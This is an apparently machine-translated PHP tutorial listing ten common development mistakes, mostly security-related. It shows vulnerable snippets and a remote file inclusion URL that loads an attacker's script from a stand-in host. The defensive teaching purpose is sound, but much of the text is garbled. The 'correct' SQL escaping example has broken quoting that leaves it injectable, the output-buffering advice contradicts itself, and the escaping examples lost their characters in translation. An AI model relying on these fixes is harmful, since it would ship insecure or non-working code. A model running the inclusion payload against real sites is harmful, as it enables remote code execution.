Top Ten Mistakes Commonly Made in PHP Program Development

Top Ten Mistakes Commonly Made in PHP Program Development_PHP Tutorial

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Release： 2016-07-21 14:55:45

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PHP is a great web development language, a flexible language, but I have seen some mistakes that PHP programmers make over and over again. I made the following list of 10 common mistakes made by PHP programmers, most of which are related to security. See what kind of mistakes you have made
1. Don’t translate html entities
A basic common sense: all untrusted input (especially data submitted by users from forms) must be translated before output.
echo $_GET['usename'] ;
This example may output:
<script>/*Script to change admin password or set cookie*/</script>
This is an obvious security risk unless you ensure that your users are typing correctly.
How to fix:
We need to convert "< ", ">", "and" etc. into the correct HTML representation (< , >', and ") using the functions htmlspecialchars and htmlentities() This is exactly what it does.
The correct method:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. Don’t ignore SQL input
I once wrote in an article The easiest way to prevent sql injection (in php+mysql) discusses this issue and gives a simple method. Someone said to me that they already set magic_quotes to On in php.ini, so don't worry about this. Problem, but not all input is obtained from $_GET, $_POST or $_COOKIE!
How to fix:
Same as in the simplest way to prevent sql injection (php+mysql) I still recommend using the mysql_real_escape_string() function
The correct approach:
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id ='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. Wrong use of HTTP-header related functions: header(), session_start(), setcookie()
Have you ever encountered this warning? "warning: Cannot add header information - headers already sent [....]

Every time you download a web page from the server, the output of the server is Divided into two parts: header and body.
The header contains some non-visual data, such as cookies. The head always arrives first. The text part includes visual html, pictures and other data.
If output_buffering is set to Off, all HTTP-header related functions must be called before there is output. The problem is that when you develop in one environment and deploy to another environment, the output_buffering settings may be different. As a result, the redirection stopped, and the cookie and session were not set correctly...

How to fix:
Make sure to call http-header related functions before outputting, and set output_buffering = Off
.
4. Require or include files use unsafe data
Once again: don’t trust data that you don’t explicitly declare. Do not include or require files obtained from $_GET, $_POST or $_COOKIE.
For example:
index.php
//including header, config, database connection, etc
include($_GET['filename']);
// including footer
?>
Any hacker can now use: http://www.yourdomain.com/index.php?filename=anyfile.txt
to obtain your confidential information, or Execute a PHP script.
If allow_url_fopen=On, you are dead:
Try this input:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain. com%2Fphphack.php
Now your web page contains the output of http://www.youaredoomed.com/phphack.php. Hackers can send spam, change passwords, delete files, etc. Anything you can imagine.
How to fix:
You must control which files can be included in the include or require directives yourself.
Here's a quick but not comprehensive solution:
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt ','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>
5. Grammar errors
Grammar errors include all lexical and grammatical errors, which are too common. So much so that I had to list it here. The solution is to study the syntax of PHP carefully and be careful not to miss a bracket, brace, semicolon, or quotation mark. Also, find a good editor and don’t use Notepad!
6. Little or no object-oriented use
Many projects do not use PHP's object-oriented technology, and as a result, code maintenance becomes very time-consuming and labor-intensive. PHP supports more and more object-oriented technologies and is getting better and better. There is no reason why we should not use object-oriented technology.
7. Not using a framework
95% of PHP projects are doing the same four things: Create, edit, list and delete. Now there are many MVC frameworks to help us complete these four things, why do we What about not using them?
8. Don’t know the functions already available in PHP
The core of PHP contains many functions. Many programmers reinvent the wheel over and over again. A lot of time wasted. Before coding, search for PHP mamual and search on google. You may find new discoveries! exec() in PHP is a powerful function that can execute cmd shell and return the last line of the execution result in the form of a string. Considering security, you can use EscapeShellCmd()
9. Use old versions of PHP
Many programmers are still using PHP4. Development on PHP4 cannot fully utilize the potential of PHP, and there are still some security risks. Switch to PHP5, it doesn't take a lot of effort. Most PHP4 programs can be migrated to PHP5 with few or even no changes to the statements. According to a survey by http://www.nexen.net, only 12% of PHP servers use PHP5, so 88% of PHP developers are still using PHP4.
10. Change the quotation marks twice
Do you ever see 'or'" in your web pages? This is usually because magic_quotes is set to off in the developer's environment, but magic_quotes =on on the deployed server. PHP will repeatedly run addslashes on the data in GET, POST and COOKIE () .
Original text:
It's a string

magic quotes on :
It's a string
Run again
addslashes():
It\' s a string

HTML output:
It's a string

Another situation is that the user enters wrong login information at the beginning, and after the server detects the wrong input, it outputs the same form Requiring the user to enter again causes the user's input to change meaning twice!